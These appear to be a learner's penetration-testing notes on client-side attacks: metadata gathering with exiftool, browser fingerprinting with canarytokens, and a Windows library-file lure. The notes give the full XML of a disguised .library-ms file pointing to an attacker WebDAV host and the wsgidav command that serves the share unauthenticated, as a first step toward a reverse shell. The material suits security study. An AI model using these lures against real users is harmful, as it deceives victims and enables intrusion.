Information Gathering

  • Inspecting metadata tags can show
    • Author
    • Creation date
    • Name and version of the software
    • OS of the client
    • etc.
      • Using this hand off method may lead to less accurate information but won’t ping defenders
      • downloading and retrieving data from a webpage or a user can often lead to this information gathering.
  • TOOL USED THIS SECTION
    • exiftool
      • ex. exiftool -a -u {file.name}
      • -a Displays Duplicated Tags
      • -u Displays Shows Unknown Tags
  • We can use this information to gather information for better social engineering.
    • If there is no (For MAC) headers we can assume windows machines ran/processed this data.

Client Fingerprinting

  • Device Fingerprinting
    • This is used to obtain device information without being able to route to the device
    • HTA or HTML Application Attack
      • Is used to execute code within a browser to gather data on the target.
      • For this tool Target needs to be on windows and target must be using Internet Explorer or Microsoft edge.
  • TOOL USED IN THIS SECTION
    • Website called: https://canarytokens.org/generate
      • Provides us with a dropdown menu to create different types of tokens
      • Have to enter a email address to get dataexfil
        • UserAgent might not be always verifiable and not as trustworthy due to being modifiable
        • Browser agent is more precise due to using JavaScript and taking information straight out the users search engine.

Obtaining Code Execution Via Windows Library Files

  • Using windows library features to point to a malicious source.
    • This is a 2-stage client-side attack
    • The windows library files are to gain a foothold
      • The foothold is used to stage the reverse shell for further exploitation
  • STEPS USED
    • Created a directory to host the webshare
    • mkdir /home/{User}/webdav
    • Created a file to host in the webshare folder
    • touch /home/{User}/WebDAV/{file.name} | This is going to be the malicious file
    • Now we can launch the WebDAV server by using:
    • /home/{User}/.local/bin/wsgidav –host=0.0.0.0 –port=80 –auth=anonymous –root /home/{User}/WebDAV/
      • Host is the base listening IP
      • Port is going to be the listening port
      • –auth disables authentication to the share
      • –root is the main place the webshare points too (so if pointed to a .txt file it would show that file in the specific directory
  • we can use VS Code to set up the library file
    • Creating a library file name using {config.library.ms} we can make windows read it as a common icon
      • Library Files consist of 3 parts and written in XML
    • To make this look like a library file and work as one we need to
      • Adding the XML and library file format version
        • 1. <?xml version=”1.0″ encoding=”UTF-8″?>
        • 2. <libraryDescription xmlns=”http://schemas.microsoft.com/windows/2009/library”>
      • This is the namespace for the version of the library file format starting from Win7
        • Add 2 tags to provide information about the library
          • 3. <name>@windows.storage.dll,-34582</name>
          • 4. <version>6</version>
            • Name tage specifies the name of the library using a dll name and index
            • Version tag can be set by our choice
        • Add is librarypinned tag
          • 5. <isLibraryPinned>true</isLibraryPinned>
            • Specifies if the library is pinned to the navigation pane in explorer more believe when set to true.
        • Next we set Icon Reference
          • 6.  <iconReference>imagers.dll,-1003</iconReference>
            • This determines what Icon to display for the file
        • Add the Template info tags next
          • 7.  <templateInfo>
          • 8. <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
          • 9. </templateInfo>
            • Contain the folder type tags and determine the coloums and details after opening the library.
        • Mark the beginning of the library section
          • 10. <searchConnectorDescriptionList>
          • 11.  <searchConnectorDescription>
          • 12. <isDefaultSaveLocation>true</isDefaultSaveLocation>
          • 13.  <isSupported>false</isSupported>
          • 14. <simpleLocation>
          • 15.  <url>http://10.10.2.4</url>
          • 16. </simpleLocation>
          • 17.  </searchConnectorDescription>
          • 18. </searchConnectorDescriptionList>
          • 19. </libraryDescription>
    • Specifies the specific location that the library connects to.
      • 12. Determines the behavior of windows explorer when a user chooses to save an item
      • 13. used for compatibility
      • 15. is the url that we contain in simplelocation that is a user-friendly way to point to a remote location.